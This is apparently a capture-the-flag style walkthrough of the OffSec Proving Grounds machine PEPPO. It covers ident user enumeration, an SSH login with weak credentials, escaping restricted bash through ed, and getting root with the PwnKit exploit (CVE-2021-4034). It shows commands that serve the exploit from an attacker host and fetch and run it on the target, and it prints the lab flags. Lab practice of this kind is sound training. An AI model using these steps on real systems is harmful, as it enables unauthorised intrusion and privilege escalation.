Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - PEPPO

·1634 words·8 mins·
OFFSEC PG PRACTICE IDENT-USER-ENUM RBASH ED PWNKIT
Table of Contents

Summary
#

On port 113 runs the ident service. Using this service we determine the owner of the process as eleanor on port 10000. Through the usage of weak credentials we get initial access via SSH as the eleanor user. Once on the target we’re in a rbash shell. Using the ed binary we escape to a regular shell and set the PATH variable. Now that we have a regular bash shell we find out the target is vulnerable for pwnkit (CVE-2021-4034). This vulnerability allows us to escalate our privileges to the root user.

Specifications
#

  • Name: PEPPO
  • Platform: PG PRACTICE
  • Points: 25
  • Difficulty: Hard
  • System overview: Linux peppo 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
  • IP address: 192.168.178.60
  • OFFSEC provided credentials: None
  • HASH: local.txt:9cbbe7a914e9515d7c17d6f913728031
  • HASH: proof.txt:c625482878647aaa46716be3d379e52d

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir peppo && cd peppo && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 14 16:09 .
drwxrwxr-x 68 kali kali 4096 Sep 14 16:09 ..
drwxrwxr-x  2 kali kali 4096 Sep 14 16:09 enum
drwxrwxr-x  2 kali kali 4096 Sep 14 16:09 exploits
drwxrwxr-x  2 kali kali 4096 Sep 14 16:09 files
drwxrwxr-x  2 kali kali 4096 Sep 14 16:09 tools
drwxrwxr-x  2 kali kali 4096 Sep 14 16:09 uploads

## set bash variable
ip=192.168.178.60

## ping target to check if it's online
ping $ip

PING 192.168.178.60 (192.168.178.60) 56(84) bytes of data.
64 bytes from 192.168.178.60: icmp_seq=1 ttl=61 time=80.4 ms
64 bytes from 192.168.178.60: icmp_seq=2 ttl=61 time=78.9 ms
^C
--- 192.168.178.60 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 78.921/79.670/80.419/0.749 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.178.60:22
Open 192.168.178.60:113
Open 192.168.178.60:5432
Open 192.168.178.60:8080
Open 192.168.178.60:10000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:17 CEST
Initiating Ping Scan at 16:17
Scanning 192.168.178.60 [4 ports]
Completed Ping Scan at 16:17, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:17
Completed Parallel DNS resolution of 1 host. at 16:17, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:17
Scanning 192.168.178.60 [5 ports]
Discovered open port 113/tcp on 192.168.178.60
Discovered open port 22/tcp on 192.168.178.60
Discovered open port 8080/tcp on 192.168.178.60
Discovered open port 10000/tcp on 192.168.178.60
Discovered open port 5432/tcp on 192.168.178.60
Completed SYN Stealth Scan at 16:17, 0.05s elapsed (5 total ports)
Nmap scan report for 192.168.178.60
Host is up, received echo-reply ttl 61 (0.018s latency).
Scanned at 2025-09-14 16:17:12 CEST for 0s

PORT      STATE SERVICE          REASON
22/tcp    open  ssh              syn-ack ttl 61
113/tcp   open  ident            syn-ack ttl 61
5432/tcp  open  postgresql       syn-ack ttl 60
8080/tcp  open  http-proxy       syn-ack ttl 60
10000/tcp open  snet-sensor-mgmt syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
           Raw packets sent: 9 (372B) | Rcvd: 6 (248B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp    open  ssh              syn-ack ttl 61
113/tcp   open  ident            syn-ack ttl 61
5432/tcp  open  postgresql       syn-ack ttl 60
8080/tcp  open  http-proxy       syn-ack ttl 60
10000/tcp open  snet-sensor-mgmt syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,113,5432,8080,10000

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,113,5432,8080,10000 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE           REASON         VERSION
22/tcp    open  ssh               syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 75:4c:02:01:fa:1e:9f:cc:e4:7b:52:fe:ba:36:85:a9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzklV3kD0MUV8hlgkTzmIXus0hs0kpUtsw944TP1RKcoGH+RVDKO3+X9tM0O5o4FWlq63/Rgu/MsM+MHhYJzR9SqhCwFN7FtcAumLaykQRuOTOUMWtRqNybqwTC1noDrh1I6zg/hmzNIOHBH7jVFX4hZ18puzP7kUEwLyzTL6gl8OekAnPGYQFNkLDLo1QuSHoPif+835rjirf6Z+AcVHtz+BCrJa+UvtCuDgQk6+hRvASZ/sZk21jTLqe+pc32a1yYnfySXJrfGevezVVeOzWca4Kbt8HcWz7nNmyS8vcr9U/sDD2ZvW0GEVgxneCDSha5zzAt3blNf8xgwaboetx
|   256 b7:6f:9c:2b:bf:fb:04:62:f4:18:c9:38:f4:3d:6b:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBqNWmLnEEMpbdgBBhkcQQqjHi1mO1wl55JIWh4kpqzQYuZaKGZ63cIOppztFxsAowPqOEhImpkEni9fcTflquQ=
|   256 98:7f:b6:40:ce:bb:b5:57:d5:d1:3c:65:72:74:87:c3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEgaTq2swxYKGv8XDDrdarrUGFDnxl/3X18UjliCfL6
|_auth-owners: root
113/tcp   open  ident             syn-ack ttl 61 FreeBSD identd
|_auth-owners: nobody
5432/tcp  open  postgresql        syn-ack ttl 60 PostgreSQL DB 9.6.0 or later
8080/tcp  open  http              syn-ack ttl 60 WEBrick httpd 1.4.2 (Ruby 2.6.6 (2020-03-31))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: D316E1622C58825727E7E4E6C954D289
| http-robots.txt: 4 disallowed entries 
|_/issues/gantt /issues/calendar /activity /search
|_http-server-header: WEBrick/1.4.2 (Ruby/2.6.6/2020-03-31)
|_http-title: Redmine
10000/tcp open  snet-sensor-mgmt? syn-ack ttl 61
|_auth-owners: eleanor
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/plain
|     Date: Sun, 14 Sep 2025 14:22:32 GMT
|     Connection: close
|     Hello World
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/plain
|     Date: Sun, 14 Sep 2025 14:22:26 GMT
|     Connection: close
|_    Hello World
<SNIP>
Service Info: OSs: Linux, FreeBSD; CPE: cpe:/o:linux:linux_kernel, cpe:/o:freebsd:freebsd

Initial Access
#

113/tcp   open  ident             syn-ack ttl 61 FreeBSD identd
|_auth-owners: nobody

22/tcp    open  ssh               syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 75:4c:02:01:fa:1e:9f:cc:e4:7b:52:fe:ba:36:85:a9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzklV3kD0MUV8hlgkTzmIXus0hs0kpUtsw944TP1RKcoGH+RVDKO3+X9tM0O5o4FWlq63/Rgu/MsM+MHhYJzR9SqhCwFN7FtcAumLaykQRuOTOUMWtRqNybqwTC1noDrh1I6zg/hmzNIOHBH7jVFX4hZ18puzP7kUEwLyzTL6gl8OekAnPGYQFNkLDLo1QuSHoPif+835rjirf6Z+AcVHtz+BCrJa+UvtCuDgQk6+hRvASZ/sZk21jTLqe+pc32a1yYnfySXJrfGevezVVeOzWca4Kbt8HcWz7nNmyS8vcr9U/sDD2ZvW0GEVgxneCDSha5zzAt3blNf8xgwaboetx
|   256 b7:6f:9c:2b:bf:fb:04:62:f4:18:c9:38:f4:3d:6b:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBqNWmLnEEMpbdgBBhkcQQqjHi1mO1wl55JIWh4kpqzQYuZaKGZ63cIOppztFxsAowPqOEhImpkEni9fcTflquQ=
|   256 98:7f:b6:40:ce:bb:b5:57:d5:d1:3c:65:72:74:87:c3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEgaTq2swxYKGv8XDDrdarrUGFDnxl/3X18UjliCfL6
|_auth-owners: root

Using ident-user-enum (https://github.com/pentestmonkey/ident-user-enum) against port 113 we can query the ident service (113/TCP) in order to determine the owner of the process listening on each TCP port.

## use `ident-user-enum` to get query the ident service
ident-user-enum $ip 22 113 5432 8080 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

192.168.178.60:22       root
192.168.178.60:113      nobody
192.168.178.60:5432     <unknown>
192.168.178.60:8080     <unknown>
192.168.178.60:10000    eleanor

We see two users: root and eleanor. Via SSH we can get initial access as the eleanor user, using weak credentials: eleanor:eleanor. However, we’re in a restricted bash (rbash). Our PATH is set to: /home/eleanor/bin. Listing all available commands, there is a ed binary. Using GTFOBins (https://gtfobins.github.io/gtfobins/ed/#limited-suid) we can escape rbash. Then we need to recover the Linux path.

## login via SSH: `eleanor:eleanor`
ssh eleanor@$ip                 
The authenticity of host '192.168.178.60 (192.168.178.60)' can't be established.
ED25519 key fingerprint is SHA256:GrHKbhpl4waMainGkiieqFVD5jgXi12zVmCIya8UR7M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.178.60' (ED25519) to the list of known hosts.
eleanor@192.168.178.60's password: 
Linux peppo 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
eleanor@peppo:~$

## print current shell
eleanor@peppo:~$ echo $SHELL
/bin/rbash

## print current PATH
eleanor@peppo:~$ echo $PATH
/home/eleanor/bin

## print available commands
eleanor@peppo:~$ compgen -c
<SNIP>
ed
<SNIP>

## escape rbash using the `ed` binary
eleanor@peppo:~$ ed
!/bin/bash
eleanor@peppo:~$

## set PATH
eleanor@peppo:~$ PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

## print PATH
eleanor@peppo:~$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

## print `local.txt`
eleanor@peppo:~$ cat local.txt
9cbbe7a914e9515d7c17d6f913728031

Privilege Escalation
#

Now, upload linpeas.sh to the target and run it. Here we need to start the listener on a known open port, 10000.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211

## start local webserver
python3 -m http.server 10000

## on target
## download `linpeas.sh`
eleanor@peppo:~$ wget http://192.168.45.211:10000/linpeas.sh
--2025-09-14 11:04:01--  http://192.168.45.211:10000/linpeas.sh
Connecting to 192.168.45.211:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                 100%[=======================================>] 939.29K  5.94MB/s    in 0.2s    

2025-09-14 11:04:02 (5.94 MB/s) - ‘linpeas.sh’ saved [961834/961834]

## set the execution bit
eleanor@peppo:~$ chmod +x linpeas.sh 

## run `linpeas.sh`
eleanor@peppo:~$ ./linpeas.sh

The linpeas.sh output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit (https://github.com/ly4k/PwnKit), upload to the target and run it to escalate our privileges to the root user.

## change directory
cd exploits

## download the exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211

## start webserver on port 10000
python3 -m http.server 10000                                   
Serving HTTP on 0.0.0.0 port 10000 (http://0.0.0.0:10000/) ...

## on target
## download `pwnkit`
eleanor@peppo:~$ wget http://192.168.45.211:10000/pwnkit
--2025-09-14 11:11:32--  http://192.168.45.211:10000/pwnkit
Connecting to 192.168.45.211:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit’

pwnkit                     100%[=======================================>]  17.62K  --.-KB/s    in 0.02s   

2025-09-14 11:11:32 (950 KB/s) - ‘pwnkit’ saved [18040/18040]

## set execution bit on `pwnkit`
eleanor@peppo:~$ chmod +x pwnkit 

## execute `pwnkit`
eleanor@peppo:~$ ./pwnkit 
root@peppo:/home/eleanor# 

## print `proof.txt`
root@peppo:/home/eleanor# cat /root/proof.txt
c625482878647aaa46716be3d379e52d

References
#

[+] https://github.com/pentestmonkey/ident-user-enum
[+] https://gtfobins.github.io/gtfobins/ed/#limited-suid
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://github.com/ly4k/PwnKit
[+] https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit

Related

OFFSEC - Proving Grounds - PHOBOS
·2992 words·15 mins
OFFSEC PG PRACTICE GOBUSTER SVN BURP PWNKIT MONGODB PYMONGO
Find svn directory on port 80, enumerate logs for hostname. Register user and exploit code for LFI/RCE and initial access, use pwnkit (CVE-2021-4034) or crack root SHA-512 from MongoDB to escalate to root.
OFFSEC - Proving Grounds - BLACKGATE
·1478 words·7 mins
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
Redis 4.0.14 on port 6379 exploited for initial access. linpeas.sh reveals pwnkit vulnerability (CVE-2021-4034) which leads to privilege escalation.
OFFSEC - Proving Grounds - WALLA
·1817 words·9 mins
OFFSEC PG PRACTICE WFUZZ PWNKIT
WFUZZ login credentials on port 8091, exploited RaspAP 2.5, CVE-2020-24572, then gained root via PwnKit.
OFFSEC - Proving Grounds - EXFILTRATED
·2598 words·13 mins
OSCP OFFSEC PG PRACTICE SUBRION CMS PWNKIT EXIFTOOL
SSH or Subrion CMS 4.2.1 file upload for access. Run linpeas to find CVE-2021-4034 (PwnKit) & cronjob with exiftool (CVE-2021-22204) for root.
OFFSEC - Proving Grounds - MZEEAV
·1935 words·10 mins
OFFSEC PG PRACTICE BURP
Web application on port 80 has a ZIP backup with source code. Upload PHP webshell via MZ magic byte check, gain initial access and escalate to root using renamed find binary in /opt/fileS.
OFFSEC - Proving Grounds - PAYDAY
·2438 words·12 mins
OFFSEC PG PRACTICE CS-CART
INTERNETSHOP on port 80 uses CS-CART. Weak credentials allow login and RCE via template editor with PHP webshell. Gain patrick user access via weak credentials and escalate to root using sudo bash.